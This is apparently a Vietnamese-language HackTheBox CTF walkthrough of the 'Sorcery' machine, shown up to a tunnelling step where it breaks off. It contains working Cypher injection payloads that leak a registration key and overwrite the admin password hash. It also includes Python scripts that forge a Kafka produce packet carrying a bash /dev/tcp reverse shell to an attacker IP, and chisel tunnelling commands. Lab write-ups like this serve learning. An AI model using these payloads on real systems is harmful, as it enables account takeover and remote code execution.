Skip to main content
  1. Posts/

HTB Linux Insane: Sorcery

·38 mins
Machine/Room

1. Reconaissance #

Đầu tiên, ta tiến hành nmap xem có các service gì đang mở:

──(havertz2110㉿kali)-[~]
└─$ nmap -sCV 10.129.1.36 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-30 05:58 UTC
Nmap scan report for sorcery.htb (10.129.1.36)
Host is up (0.18s latency).
Not shown: 998 closed tcp ports (reset)
PORT    STATE SERVICE   VERSION
22/tcp  open  ssh       OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 79:93:55:91:2d:1e:7d:ff:f5:da:d9:8e:68:cb:10:b9 (ECDSA)
|_  256 97:b6:72:9c:39:a9:6c:dc:01🆎3e:aa:ff:cc:13:4a (ED25519)
443/tcp open  ssl/https nginx/1.27.1
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| tls-alpn: 
|   http/1.1
|   http/1.0
|_  http/0.9
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.27.1
| ssl-cert: Subject: commonName=sorcery.htb
| Not valid before: 2024-10-31T02:09:11
|_Not valid after:  2052-03-18T02:09:11
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 81.75 seconds

Ta có thể thấy hiện đang có rất nhiều port được mở, nhưng con đường khả dĩ nhất ta có thể đi tiếp chính là nằm ở port 443(interface web) nên ta sẽ tập trung vào hướng này.

Để thao tác nhanh trong quá trình làm lab thì ta nhớ ghi domain sorcery.htb này vào file /etc/hosts .

2. User Flag #

Note: đôi khi, ta sẽ gặp lỗi bị treo khi kết nối tới trang web, lí do thường sẽ là vấn đề của VPN, lúc đó bạn hãy chạy dòng này rồi vô lại là được - sudo ip link set dev tun0 mtu 1350 .

Ta đi tới trang web trên, được redirect tới endpoint /auth/login/ và thấy yêu cầu đăng nhập sau:

image.png

Ở đây cho phép ta đăng nhập bằng username:password bình thường và bằng Passkey. Ngoài ra ở phần đăng ký còn có 1 phần gọi là Registration key - khá kì lạ vì bình thường không có điều này xuất hiện:

image.png

2.1. Discover web app source code #

Dĩ nhiên cho tới giờ ta chưa thể đăng nhập vào,vì chưa có tài khoản của bất kì ai hết nên ta sẽ tự đăng ký và login. Tuy nhiên, các bạn có thể thấy ở hàng dưới cùng có mời gọi chúng ta truy cập vào repo của họ, ta thử bấm vào:

image.png

Các bạn nhớ thêm domain git.sorcery.htb vào file /etc/hosts để có thể mở nha.

Repo này có vẻ là source code của trang web này, thật khó hiểu tại sao anh này lại đẩy nguyên cái repo chứa code sản phẩm lên công khai như vậy? Nhưng mà thôi, dù sao thì ta cứ pull cái này về máy trước đã:

image.png

Trước mắt ta chưa cần xem mã nguồn, cứ xem nó như một từ điển. Khi nào dùng tới chức năng nào của web thì quay lại tra sau.

2.2. Cypher Injection via /dashboard/store/{id} #

Chúng ta quay lại trang web, đăng kí tài khoản rồi đăng nhập vào thì thấy đây có vẻ là 1 cửa hàng bán đồ ma thuật, và chúng ta có vẻ đang có role là Client:

image.png

Trong Profile cũng không có gì hữu ích cho chúng ta lắm, ngoài việc cho phép Enroll Passkey và hint rằng có thêm 1 số chức năng nếu ta là sellers hoặc admins:

image.png

Mình có thử bấm qua các sản phẩm thì không thấy gì lạ, duy có điều khác nhau ngoài tên của chúng thì cách mà server route đến nó thông qua 1 chuỗi gì đó mà có thể là id của nó:

image.png

Từ việc nó truy xuất qua 1 id gì đó, mình nghĩ rằng đây có thể sẽ là chủng lỗi Injection gì đó, tuy nhiên, để chắc chắn hơn thì ta hãy quay về với mã nguồn phụ trách cho trang web này. Ta hãy tìm xem file chịu trách nhiệm cho logic này nằm ở đâu:

infrastructure/backend/src/api/products/get_one.rs

infrastructure/backend/src/api/products/get_one.rs

Quan sát ban đầu có thể thấy file được viết bằng Rust. Logic xử lý request lấy thông tin sản phẩm theo id được gọi tại dòng:

let product = match Product::get_by_id(id.to_owned()).await {

Tại đây, endpoint không trực tiếp thực hiện query, mà ủy quyền việc này cho phương thức get_by_id của struct Product, được import từ:

use crate::db::models::product::Product;

Tiếp tục kiểm tra file định nghĩa Product tại db/models/product.rs, ta thấy struct Product được khai báo cùng với macro #[derive(Model)]. Macro này nhiều khả năng chịu trách nhiệm sinh ra các phương thức truy vấn cơ bản (bao gồm get_by_id), do đó ****logic query không được viết trực tiếp trong file này.

// infrastructure/backend/src/db/models/product.rs
use rocket::serde::Serialize;
use serde::Deserialize;

use backend_macros::Model;

use crate::api::auth::UserClaims;
use crate::db::models::user::UserPrivilegeLevel;

#[derive(Model, Serialize, Deserialize)]
pub struct Product {
    pub id: String,
    pub name: String,
    pub description: String,
    pub is_authorized: bool,
    pub created_by_id: String,
}

impl Product {
    pub fn should_show_for_user(&self, claims: &UserClaims) -> bool {
        self.is_authorized
            || claims.privilege_level == UserPrivilegeLevel::Admin
            || self.created_by_id == claims.id
    }
}

Hmm, phân tích kỹ chỗ struct Product được khai báo thì ta có thể hiểu rằng khi compile, Rust sẽ gọi macro Model để tự sinh code liên quan tới struct Product. Nói rõ hơn nữa thì Model ở đây là procedural macro (macro chạy lúc compile), dùng để tự sinh code cho các model. Vì vậy, nhiều hàm “trông như có sẵn” như get_by_id nhưng khi ta tìm lại không thì do thực tế không được viết tay trong product.rs, mà được macro Model generate ra trong giai đoạn build.

Do đó, khả năng cao logic liên quan đến struct này sẽ được định nghĩa ở trong model này, ta tiếp tục ghé sang file này để xem. Code này khá dài, tuy nhiên đọc qua chúng ta sẽ thấy cần chú ý ở 1 hàm vì nơi đó chứa pattern get_by mà ta đã thấy lúc đầu:

    
    //infrastrucre/backend-macros/src/lib.rs
    ...
    
   let from_row_function = quote! {
        pub async fn from_row(row: ::neo4rs::Row) -> Option<Self> {
            let node = row.get::<::neo4rs::BoltMap>("result").expect("Result not found");
            Some(Self {
                #(#struct_def),*
            })
        }
    };

    let get_functions = fields.iter().map(|&FieldWithAttributes { field, .. }| {
        let name = field.ident.as_ref().unwrap();
        let type_ = &field.ty;
        let name_string = name.to_string();
        let function_name = syn::Ident::new(
            &format!("get_by_{}", name_string),
            proc_macro2::Span::call_site(),
        );

        quote! {
            pub async fn #function_name(#name: #type_) -> Option<Self> {
                let graph = crate::db::connection::GRAPH.get().await;
                let query_string = format!(
                    r#"MATCH (result: {} {{ {}: "{}" }}) RETURN result"#,
                    #struct_name, #name_string, #name
                );
                let row = match graph.execute(
                    ::neo4rs::query(&query_string)
                ).await.unwrap().next().await {
                    Ok(Some(row)) => row,
                    _ => return None
                };
                Self::from_row(row).await
            }
        }
    });
...

Mình sẽ diễn giải qua nó làm gì, đầu tiên thì Macro sẽ lặp qua từng field của struct. Với Product có các field:

  • id: String
  • name: String
  • description: String
  • is_authorized: bool
  • created_by_id: String

→ Macro sẽ tự sinh các hàm tương ứng:

  • Product::get_by_id(id: String) -> Option<Product>
  • Product::get_by_name(name: String) -> Option<Product>

Sau đó, nó taọ ra hàm bất đồng bộ rồi lấy kết nối Neo4j. Tiếp theo, đến phần quan trọng, ta thấy nó craft câu query bằng cách string interpolation thông qua format!, trong đó giá trị đầu vào được chèn trực tiếp vào query string:

let query_string = format!(
    r#"MATCH (result: {} {{ {}: "{}" }}) RETURN result"#,
    #struct_name, #name_string, #name
);

Trong đó:

  • #struct_name là tên label trong Neo4j được macro điền vào dựa trên tên struct.
  • #name_string là tên field (ví dụ "id", "name"), cũng lấy từ trường của struct.
  • #name là giá trị đầu vào của hàm được nhét trực tiếp vào chuỗi "{}" → thứ ta control được

Câu query tương đương:

MATCH (result: Product { id: "chuoỗi-id" }) RETURN result

Ở đây ta thấy ngay lập tức 1 sai phạm bảo mật đó là input được đưa trực tiếp vào query bằng nối chuỗi mà không qua bất kỳ kiểm tra hay binding nào, mà trùng hợp ta lại có thể control được chuỗi đưa vào này. Đi research 1 chút thì đây chính là dạng Cypher injection.

Có Cypher Injection rồi, giờ ta cần làm gì đây? Nhớ lại khúc đăng ký, ta có thấy được có chỗ Registration key khá kì lạ. Vậy hãy thử tìm cái key này thông qua Cypher Injection nha.

Thử dùng chữ registration tìm trong codebase, ta có 1 số kết quả tiềm năng sau:

image.png

Tổng cộng có 2 file liên quan - infrastructure/backend/src/api/auth/register.rsinfrastructure/backend/src/db/connection.rs .

Vào phân tích file register.rs, ta thấy file này xử lí việc người ta đăng kí tài khoản, và nếu ta có Registration key thì sẽ được quyền là Seller, không có thì là Client:

use rocket::serde::json::Json;
use rocket::serde::{Deserialize, Serialize};
use rocket_validation::{Validate, Validated};
use uuid::Uuid;

use crate::api::auth::{create_hash, validate_username};
use crate::db::connection::REGISTRATION_KEY;
use crate::db::models::user::{User, UserPrivilegeLevel};
use crate::error::error::AppError;

#[derive(Deserialize, Validate, FromForm)]
#[serde(crate = "rocket::serde", rename_all = "camelCase")]
pub struct Request {
    #[validate(custom(function = "validate_username"))]
    username: String,
    password: String,
    registration_key: Option<String>,
}

#[derive(Serialize)]
pub struct Response {
    id: String,
}
#[post("/register", data = "<data>")]
pub async fn register(data: Validated<Json<Request>>) -> Result<Json<Response>, AppError> {
    let Request {
        username,
        password,
        registration_key,
    } = data.into_inner().into_inner();
    if User::get_by_username(username.to_owned()).await.is_some() {
        return Err(AppError::UsernameAlreadyExists);
    }
    let hash = create_hash(&password)?;
    let id = Uuid::new_v4().to_string();
    User {
        id: id.to_string(),
        username: username.to_owned(),
        password: hash,
        privilege_level: if registration_key.is_some()
            && &registration_key.unwrap() == REGISTRATION_KEY.get().await
        {
            UserPrivilegeLevel::Seller
        } else {
            UserPrivilegeLevel::Client
        },
    }
    .save()
    .await;
    Ok(Json(Response { id }))
}

Thấy cái key nằm ở infrastructure/backend/src/db/connection.rs , ta ghé qua đó xem cách nó đươc định nghĩa:

use async_once::AsyncOnce;
use lazy_static::lazy_static;
use neo4rs::{query, Graph};
use serde::Deserialize;
use uuid::Uuid;

use backend_macros::Model;

use crate::db::initial_data::initial_data;

lazy_static! {
    pub static ref GRAPH: AsyncOnce<Graph> = AsyncOnce::new(async {
        dotenv::dotenv().ok();
        let user = std::env::var("DATABASE_USER").expect("DATABASE_USER");
        let password = std::env::var("DATABASE_PASSWORD").expect("DATABASE_PASSWORD");
        let host = std::env::var("DATABASE_HOST").expect("DATABASE_HOST");
        Graph::new(host.clone(), user, password)
            .await
            .unwrap_or_else(|_| panic!("Graph: {host}"))
    });
    pub static ref JWT_SECRET: String = Uuid::new_v4().to_string();
    pub static ref REGISTRATION_KEY: AsyncOnce<String> = AsyncOnce::new(async {
        let mut configs = Config::get_all().await;
        if configs.len() != 1 {
            panic!("Found {} configs instead of 1", configs.len());
        }
        configs.remove(0).registration_key
    });
}

#[derive(Deserialize, Model)]
struct Config {
    is_initialized: bool,
    registration_key: String,
}

pub async fn migrate(graph: &Graph) {
    let mut configs = Config::get_all().await;
    let config = if !configs.is_empty() {
        configs.remove(0)
    } else {
        let config = Config {
            is_initialized: false,
            registration_key: Uuid::new_v4().to_string(),
        };
        config.save().await;
        config
    };
    if config.is_initialized {
        return;
    }

    initial_data().await;

    let mut tx = graph.start_txn().await.unwrap();
    tx.run(query(
        "MATCH (config: Config) SET config.is_initialized = true",
    ))
    .await
    .unwrap();
    tx.commit().await.unwrap();
}

Vậy thì đã rõ, registration_key này sẽ được lưu vào 1 node ở trên graph database, do đó ta sẽ thử dùng Cypher Injection để lấy nó ra! Câu query bình thường sẽ như này:

MATCH (result: Product { id: "88b6b6c5-a614-486c-9d51-d255f47efb4f" }) RETURN result

Thứ ta thay đổi được chính là id phần trong dấu ngoặc kép, sau 1 thời gian đọc docs cũng như coi kĩ lại câu gốc thì mình tạo ra được câu như sau:

"}) MATCH (c:Config) RETURN result {  .*,description: c.registration_key }//

Trong đó

  • "}) : để kết thúc câu query cũ
  • MATCH (c:Config) RETURN result : câu này dùng để lấy node Config từ trong database ra rồi return dưới dạng biến result → Giống câu query gốc
  • { .*,description: c.registration_key } : chèn các thành phần mà backend yêu cầu[1] ở biến result, đồng thời ta ghi đè giá trị của description thành registration_key của ta(ở đây do 2 giá trị này cùng type là string nên sẽ không gây lỗi, ngoài ra ta cũng có thể ghi đè name nếu thích).
    • [1]: Giải thích chi tiết
      • Qua quá trình đọc code ở trên, ta biết rằng backend nó sẽ parse biến result từ câu query như này:

        • row.get("result") lấy ra một BoltMap

        • Rồi build Product bằng cách đọc từng field và expect():

          node.get("id").expect(...)
          node.get("name").expect(...)
          node.get("description").expect(...)
          ...
          
      • Nếu ta chỉ RETURN result thì nó sẽ không có bất ký thành phần nào như name/description/is_authorized/... dẫn tới expect() panic và sẽ làm Internal Error → cần đảm bảo khi return về thì phải có các field này.

      • RETURN result { .* , ... } : đoạn này chính là sử dụng map projection, bằng cách này ta sẽ giúp trả về một map chứa toàn bộ properties của Product (.*). Map này có đủ các key mà from_row<Product> đang expect() như id, name, description, is_authorized, created_by_id, … giúp cho không bị panic nữa

      • Cuối cùng, ta chỉ cần đổi value của description/name thành registration_key là xong!

  • // : comment đi phần còn lại để câu query hoạt động đúng như mong muốn .
  • Note: các bạn nhớ URL encode lại payload trước khi gửi để tránh gặp lỗi không đáng có.

Kết quả của câu query trên sẽ là registration_key hiển thị thẳng như này:

ghi đè key description

ghi đè key description

ghi đè key name

ghi đè key name

registration_key: dd05d743-b560-45dc-9a09-43ab18c7a513

Sử dụng key trên và ta có thể tạo acc Seller với cred là havertzseller:havertzseller :

image.png

Nhìn sơ qua khi làm Seller thì ta không có chức năng gì hay ngoài đăng bài(mình có thử thì thấy bài đăng có bug XSS, tuy nhiên thì machine này hình như không có xài tới nên không cần đào sâu!).

2.3. Privilege Escalation to Admin and Passkey Authentication #

Lúc này, có vẻ đã cạn kiệt ý tưởng, mình thử đọc code xem có cách nào leo lên được Admin hay không. Vì đã xài cái bug Injection nên giờ mình có giả thuyết rằng:

Sẽ ra sao nếu mình dùng bug này để lấy mật khẩu của Admin ra luôn??? Như cách ta thường tận dụng bug SQL Injection vậy!

Thử đọc code liên quan đến việc app sẽ làm gì với mật khẩu:

// infrastructure/backend/src/api/auth.rs
pub fn create_hash(password: &String) -> Result<String, AppError> {
    let salt = SaltString::generate(&mut OsRng);
    match Argon2::default().hash_password(password.as_bytes(), &salt) {
        Ok(hash) => Ok(hash.to_string()),
        Err(error) => {
            println!("[-] {error}");
            Err(AppError::Unknown)
        }
    }
}
...

Giả thuyết này thất bại, lí do là vì hệ thống sẽ dùng Argon2 để hash mật khẩu lại rồi mới lưu trữ, dô đó nếu ta lấy được mật khẩu ra cũng không thể sử dụng, crack cũng là khá viễn vông khi crack Argon2 sẽ mất kha khá thời gian và tài nguyên.

Lúc này mình lại có 1 giả thuyết khác:

Nó đã băm mật khẩu rồi, vậy sẽ ra sao nếu ta thay cái mật khẩu đó bằng mật khẩu của chúng ta?

Mình xài command sau để tạo password (havertz2110) dưới dạng argon2 và update nó:

└─$ echo -n "havertz2110" | argon2 somesalt -id -t 2 -m 15 -p 1
Type:           Argon2id
Iterations:     2
Memory:         32768 KiB
Parallelism:    1
Hash:           ec886ca6edd630e11dc00c9af76c22f00aa4cc3a51781e01cd7b973d5666eb6c
Encoded:        $argon2id$v=19$m=32768,t=2,p=1$c29tZXNhbHQ$7Ihspu3WMOEdwAya92wi8AqkzDpReB4BzXuXPVZm62w
0.049 seconds
Verification ok

image.png

Để craft query Cypher Injection thì ta cũng cần biết username, password,… được lưu ở đâu. Để làm được điều đó thì ta cần xem ở trong DB các thông tin này sẽ được lưu như nào. Ta coi lại phần mã của chức năng này:

// infrastructure/backend/src/db/models/user.rs
...
#[derive(Model, Debug, Deserialize)]
pub struct User {
    pub id: String,
    pub username: String,
    pub password: String,
    #[transient(fetch = "fetch_privilege_level", save = "save_privilege_level")]
    pub privilege_level: UserPrivilegeLevel,
}
...

Okay, rõ ràng được thông tin của struct User rồi, từ thông tin trên, ta craft câu query như sau:

"}) MATCH (u:User {username: 'admin'}) SET u.password ='$argon2id$v=19$m=32768,t=2,p=1$c29tZXNhbHQ$7Ihspu3WMOEdwAya92wi8AqkzDpReB4BzXuXPVZm62w' RETURN result { .* ,description: 'successful update admin pwd' } //

Và tiến hành gửi lại:

image.png

Rồi đăng nhập lại bằng tài khoản admin:havertz2110 :

image.png

Thành công dưới dạng Admin thành công và mở khóa thêm 3 chức năng mới: DNS, Debug, Blog!

Tuy nhiên, dù đã là Admin rồi nhưng ở 1 số chức năng lại nói ta cần Authen sử dụng Passkey mới cho xài:

image.png

Mình sẽ thử xài chức năng Enroll PasskeyProfile. Để làm được thì bạn bấm F12 → Dấu ba chấm bên phải màn hình → More tools → Web Authn:

image.png

Tick vô ô Enable virtual authenticator , chọn y như hình:

image.png

Rồi bấm Enroll là xong:

image.png

Log out rồi tiến hành đăng nhập lại:

image.png

Và thành công:

image.png

2.4. Analyse 3 new functions #

2.4.1. Blog Function #

Ta có 2 bài viết như sau:

image.png

Ở bài viết 1, nó thông báo cho nhân viên rằng đừng mở bất kỳ email nào trừ khi:

  • Link đến từ các domain mà công ty sở hữu: *.sorcery.htb .
  • Website sử dụng HTTPS.
  • Những cái domain này dùng root CA của công ty và giải thích kèm private key đã được lưu trên FTP Server cho nên nó không thể nào bị hacked.

Ở bài viết 2, người ta nói rằng các nhân viên đều pass phishing training test trừ 1 người là tom_summers - ông này đã bấm vào link và nhập hết credential của ổng vào nhưng may mắn là team dev đã kịp thời can thiệp và đổi mật khẩu.

Theo linh cảm của mình, 2 bài viết trên cụ thể 1 cách đáng ngờ nên mình cho rằng đó là hint cho chúng ta để đi tiếp → Lên FTP server lấy rootCA rồi tạo 1 cái domain đáp ứng hết các yêu cầu ở bài viết 1 rồi gửi email từ đây để phishing lấy credentials từ ông tom_summers .

Okay, có vẻ hết có thể suy nghĩ tiếp rồi, ta move on.

2.4.2. DNS Function #

Hmm, mình thử bấm Force Records Re-fetch thì ra như bên dưới, không hiểu gì lắm:

image.png

Mở code của nó lên đọc thử, nó có 2 file là get.rsupdate.rs . File get.rs có nội dung như sau:

// infrastructure/backend/src/api/dns/get.rs
use crate::api::auth::{RequireAdmin, RequirePasskey};
use crate::state::dns::{DnsEntry, DNS};
use rocket::serde::json::Json;
use serde::Serialize;

#[derive(Serialize)]
struct Response {
    entries: Vec<DnsEntry>,
}

#[get("/")]
pub fn get_entries(_guard1: RequireAdmin, _guard2: RequirePasskey) -> Json<Response> {
    Json(Response {
        entries: DNS.lock().unwrap().entries.clone(),
    })
}

Nó chỉ đơn giản là API GET /dns - sẽ trả về danh sách DnsEntry hiện có trong bộ nhớ.

File còn lại như sau:

// infrastructure/backend/src/api/dns/update.rs
use crate::api::auth::{RequireAdmin, RequirePasskey};
use crate::error::error::AppError;
use crate::state::kafka::KafkaStore;
use kafka::producer::Record;
use rocket::serde::json::Json;
use rocket::serde::Serialize;
use rocket::State;

#[derive(Serialize)]
struct Response;

#[post("/")]
pub fn update_dns(
    _guard1: RequireAdmin,
    _guard2: RequirePasskey,
    kafka_store: &State<KafkaStore>,
) -> Result<Json<Response>, AppError> {
    let mut producer = kafka_store.producer.lock().unwrap();

    match producer.send(&Record {
        topic: "update",
        partition: -1,
        key: (),
        value: "/dns/convert.sh".as_bytes(),
    }) {
        Ok(_) => Ok(Json(Response {})),
        Err(_) => Err(AppError::Unknown),
    }
}

Ở đây, nó tạo rồi gửi 1 message Kafka với topic là "update" có payload là chuỗi /dns/convert.sh - tức là chạy cái file này. Chỉ 2 file này thôi thì còn khá mơ hồ, mình sẽ mở thêm file main.rs và file convert.sh để có thêm context:

// infrastructure/dns/src/main.rs
use kafka::client::FetchOffset;
use kafka::consumer::{Consumer, GroupOffsetStorage};
use kafka::producer::{Producer, Record, RequiredAcks};
use serde::Serialize;
use std::process::Command;
use std::time::Duration;
use std::{fs, str};

#[derive(Serialize, Debug)]
struct Entry {
    name: String,
    value: String,
}

fn fetch_entries() -> Vec<Entry> {
    let config = fs::read_to_string("/dns/entries").expect("Read config");
    config
        .split("\n")
        .filter(|line| !line.trim().is_empty())
        .map(|line| {
            let components = line.trim().split(" ").collect::<Vec<_>>();
            Entry {
                name: components[1].to_string(),
                value: components[0].to_string(),
            }
        })
        .collect()
}

fn main() {
    dotenv::dotenv().ok();
    let broker = std::env::var("KAFKA_BROKER").expect("KAFKA_BROKER");

    let topic = "update".to_string();
    let group = "update".to_string();

    let mut consumer = Consumer::from_hosts(vec![broker.clone()])
        .with_topic(topic)
        .with_group(group)
        .with_fallback_offset(FetchOffset::Earliest)
        .with_offset_storage(Some(GroupOffsetStorage::Kafka))
        .create()
        .expect("Kafka consumer");

    let mut producer = Producer::from_hosts(vec![broker])
        .with_ack_timeout(Duration::from_secs(1))
        .with_required_acks(RequiredAcks::One)
        .create()
        .expect("Kafka producer");

    println!("[+] Started consumer");

    loop {
        let Ok(message_sets) = consumer.poll() else {
            continue;
        };

        for message_set in message_sets.iter() {
            for message in message_set.messages() {
                let Ok(command) = str::from_utf8(message.value) else {
                    continue;
                };

                println!("[*] Got new command: {}", command);

                let mut process = match Command::new("bash").arg("-c").arg(command).spawn() {
                    Ok(process) => process,
                    Err(error) => {
                        println!("[-] {error}");
                        continue;
                    }
                };

                if let Err(error) = process.wait() {
                    println!("[-] {error}");
                    continue;
                }

                let entries = fetch_entries();

                println!("[*] Entries: {:?}", entries);

                let Ok(value) = serde_json::to_string(&entries) else {
                    continue;
                };

                producer
                    .send(&Record {
                        key: (),
                        value,
                        topic: "get",
                        partition: -1,
                    })
                    .ok();
            }
            consumer.consume_messageset(message_set).ok();
        }
        consumer.commit_consumed().ok();
    }
}
// infrastrucre/dns/convert.sh
#!/bin/bash

entries_file=/dns/entries
hosts_files=("/dns/hosts" "/dns/hosts-user")

> $entries_file

for hosts_file in ${hosts_files[@]}; do
  while IFS= read -r line; do
    key=$(echo $line | awk '{ print $1 }')
    values=$(echo $line | cut -d ' ' -f2-)

    for value in $values; do
      echo "$key $value" >> $entries_file
    done
  done < $hosts_file
done

Đọc qua thì ta cũng rõ ràng rồi. Mình sẽ tổng quát lại như sau:

  1. Backend cung cấp 2 endpoint /dns (đều yêu cầu RequireAdmin + RequirePasskey):
  • GET /dns: trả về danh sách DnsEntry hiện có trong bộ nhớ.
  • POST /dns: không nhận input từ người dùng, mà chỉ đẩy một message Kafka vào topic update với payload là chuỗi "/dns/convert.sh".

→ Backend đóng vai trò Kafka producer, gửi yêu cầu cập nhật DNS tới Kafka.

  1. DNS worker (infrastructure/dns/src/main.rs) đóng vai trò consumer/producer Kafka:
  • Worker subscribe topic update.

  • Mỗi message nhận được sẽ được parse thành string và được thực thi trực tiếp qua:

    Command::new("bash").arg("-c").arg(command).spawn()
    // -> Payload Kafka được coi như một shell command.
    
  • Sau khi command chạy xong, worker đọc file /dns/entries, parse từng dòng theo định dạng như bên dưới :

    <value><name>
    
  • Rồi serialize thành JSON và publish ngược lại Kafka topic get, lúc này worker đóng vai trò Kafka producer.

  • Nếu còn lăn tăn Producer/Consumer là gì thì mình có hình vẽ này sẽ giúp bạn hiểu rõ hơn:

    image.png

  1. /dns/convert.sh chuẩn hóa dữ liệu DNS:
  • Script đọc 2 file là /dns/hosts/dns/hosts-user .

  • Với mỗi dòng dạng <ip><host1><host2> thì script sẽ “expand” thành nhiều dòng và ghi vào /dns/entries theo dạng:

    <ip><host1>
    <ip><host2>
    ...
    

Điểm đáng chú ý về mặt thiết kế là worker thực thi trực tiếp nội dung message Kafka bằng bash -c, do đó nếu ta có thể kiểm soát message trên topic update thì ta có thể gửi command và yêu cầu Kafka execute command này và dẫn tới RCE!

2.4.3. Debug Function #

Qua tới chức năng cuối cùng, từ phần trên ta đã biết được 1 sink có thể dẫn tới RCE, giờ đây chính là source của nó.

Để tránh writeup dài thì mình nói luôn là chức năng này cho phép ta thực hiện kết nối TCP outbound từ backend tới host/port tuỳ ý, gửi payload dạng binary (hex-encoded) và đọc dữ liệu phản hồi. Bạn chú ý chỗ host/port tùy ý nha, ta sẽ có giả thuyết:

Sẽ ra sao nếu ta biến chức năng Debug thành 1 Producer Kafka, gửi message chứa command tùy ý vào Consumer và command đó sẽ được thực thi với bash -c???

→ Đây chính là source RCE tìm năng mà ta vừa phát hiện.

Bây giờ ta cần:

  1. Xác định Host và Port của Kafka.
  2. Tạo data dạng binary hợp chuẩn Kafka.

Với vấn đề 1, ta dễ thấy nó nằm ở trong docker-compose.yml với giá trị lần lượt là kafka:9092 .

Với vấn đề 2, vì không phải là 1 chuyên gia Kafka, do đó mình đã đọc source và nhờ AI viết lại 1 script để tạo data hợp chuẩn Kafka:

import struct
import zlib

# ===== metadata inferred from source =====
TOPIC = b"update"
VALUE = b"bash -c 'sh -i >& /dev/tcp/10.10.14.27/4444 0>&1'"        

def kafka_message(value: bytes) -> bytes:
    """
    Build a legacy Kafka Message (MessageSet format).
    """
    # magic=0, attributes=0, key=null (-1)
    body = (
        struct.pack(">BBi", 0, 0, -1) +
        struct.pack(">i", len(value)) +
        value
    )
    crc = zlib.crc32(body) & 0xffffffff
    return struct.pack(">I", crc) + body

msg = kafka_message(VALUE)

# offset (int64) + message_size + message
message_set = (
    struct.pack(">q", 0) +
    struct.pack(">i", len(msg)) +
    msg
)

# partition = 0
partition_data = (
    struct.pack(">i", 0) +
    struct.pack(">i", len(message_set)) +
    message_set
)

topic_data = (
    struct.pack(">h", len(TOPIC)) +
    TOPIC +
    struct.pack(">i", 1) +          # partition count
    partition_data
)

# Produce request body
body = (
    struct.pack(">h", 1) +           # acks
    struct.pack(">i", 10000) +        # timeout
    struct.pack(">i", 1) +            # topic count
    topic_data
)

# Request header (Produce, version 0)
header = (
    struct.pack(">hhih", 0, 0, 1, 3) + b"dbg"
)

packet = struct.pack(">i", len(header) + len(body)) + header + body

print(packet.hex())
  • Bonus script 2 mình lụm được trên mạng:

    import struct, zlib, binascii
    
    topic = b"update"
    value = b"bash -c 'sh -i >& /dev/tcp/10.10.14.27/4444 0>&1'"
    
    def msg(v):
            body = struct.pack(">BBi", 0, 0, -1) \
                    + struct.pack(">i", len(v)) \
                    + v
    
            crc = zlib.crc32(body) & 0xffffffff
            # <-- pack as unsigned 32-bit
            return struct.pack(">I", crc) + body
    
    mset = struct.pack(">q", 0) \
            + struct.pack(">i", len(msg(value))) \
            + msg(value)
    
    pdata = struct.pack(">i", 0) \
            + struct.pack(">i", len(mset)) \
            + mset
    
    
    tdata = struct.pack(">h", len(topic)) \
            + topic \
            + struct.pack(">i", 1) \
            + pdata
    
    body = struct.pack(">h", 1) \
            + struct.pack(">i", 10000) \
            + struct.pack(">i", 1) \
            + tdata
    
    hdr = struct.pack(">hhih", 0, 0, 42, 3) + b"dbg"
    
    pkt = struct.pack(">i", len(hdr) + len(body)) + hdr + body
    
    print(pkt.hex())
    

Sau khi chạy script trên ta ra được payload:

──(havertz2110㉿kali)-[~/Downloads/sorcery]
└─$ python script.py 
000000760000000000000001000364626700010000271000000001000675706461746500000001000000000000004b00000000000000000000003f904cca9d0000ffffffff0000003162617368202d6320277368202d69203e26202f6465762f7463702f31302e31302e31342e32372f3434343420303e263127
                                          

Copy paste dữ liệu trên vào như sau:

image.png

Chúng ta bấm Send, sau đó ngay lập tức ta đã nhận được shell connect về(ở đây mình suggest sử dụng penelope để handle interactive và connection tốt hơn, so với những lần mình sử dụng nc bình thường thì penelope thể hiện consistent hơn):

image.png

Ở đây hình như ta cần lưu ý rằng nếu ko dùng những lệnh hướng ngoại thì ta hoàn toàn ko nhận được result trả về.

2.5. Tunneling to outside and download files using FTP #

Đã RCE được, ta nhớ lại những thông tin đoc ở Blog, để khai thác sâu hơn, ta sẽ tunnel ra ngoài bằng chisel để FTP lấy được 2 file RootCA.crt + RootCA.key phục vụ cho việc phishing.

Để có chisel, bạn có thể tải chisel về bằng cmd dưới đây:

wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz

gunzip chisel_1.10.1_linux_amd64.gz

mv chisel_1.10.1_linux_amd64 chisel

chmod +x chisel

Để coi được ftp và mail đang nằm ở đâu, ta xài lệnh getent :

user@7bfb70ee5b9c:/$ getent hosts ftp
172.19.0.5      ftp
user@7bfb70ee5b9c:/$ getent hosts
127.0.0.1       localhost
127.0.0.1       localhost ip6-localhost ip6-loopback
172.19.0.7      7bfb70ee5b9c
user@7bfb70ee5b9c:/$ getent hosts mail
172.19.0.8      mail

Để setup chisel, đầu tiên, ở trên máy kali, ta làm y như bên dưới vào file /etc/proxychains4.conf:

──(havertz2110㉿kali)-[~/Downloads/sorcery]
└─$ sudo nano /etc/proxychains4.conf

strict_chain
proxy_dns

[ProxyList]
socks5 127.0.0.1 1080

Sau đó, ta sẽ mở server:

                                                                                                                                                                                                             
┌──(havertz2110㉿kali)-[~/Downloads/tools]
└─$ ./chisel server --reverse --port 9000
2026/01/07 09:09:14 server: Reverse tunnelling enabled
2026/01/07 09:09:14 server: Fingerprint wNsT89CL3Wxi5DrgDo3+zsKjwNfbbj08qL/FXzziy6k=
2026/01/07 09:09:14 server: Listening on http://0.0.0.0:9000

Và ở máy victim, bạn upload chisel lên rồi chạy lệnh này:

user@7bfb70ee5b9c:/tmp$  (để detach session, bạn xài F12 và nhớ đứng ở tmp nha, không là sẽ bị permission denied)
[!] Session detached ⇲

(Penelope)(Session [1])> upload chisel
[+] Upload OK /tmp/chisel

(Penelope)(Session [1])> interact 1
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12 
[+] Logging to /home/havertz2110/.penelope/sessions/7bfb70ee5b9c~10.129.1.36-Linux-x86_64/2026_01_16-09_03_49-043.log 📜
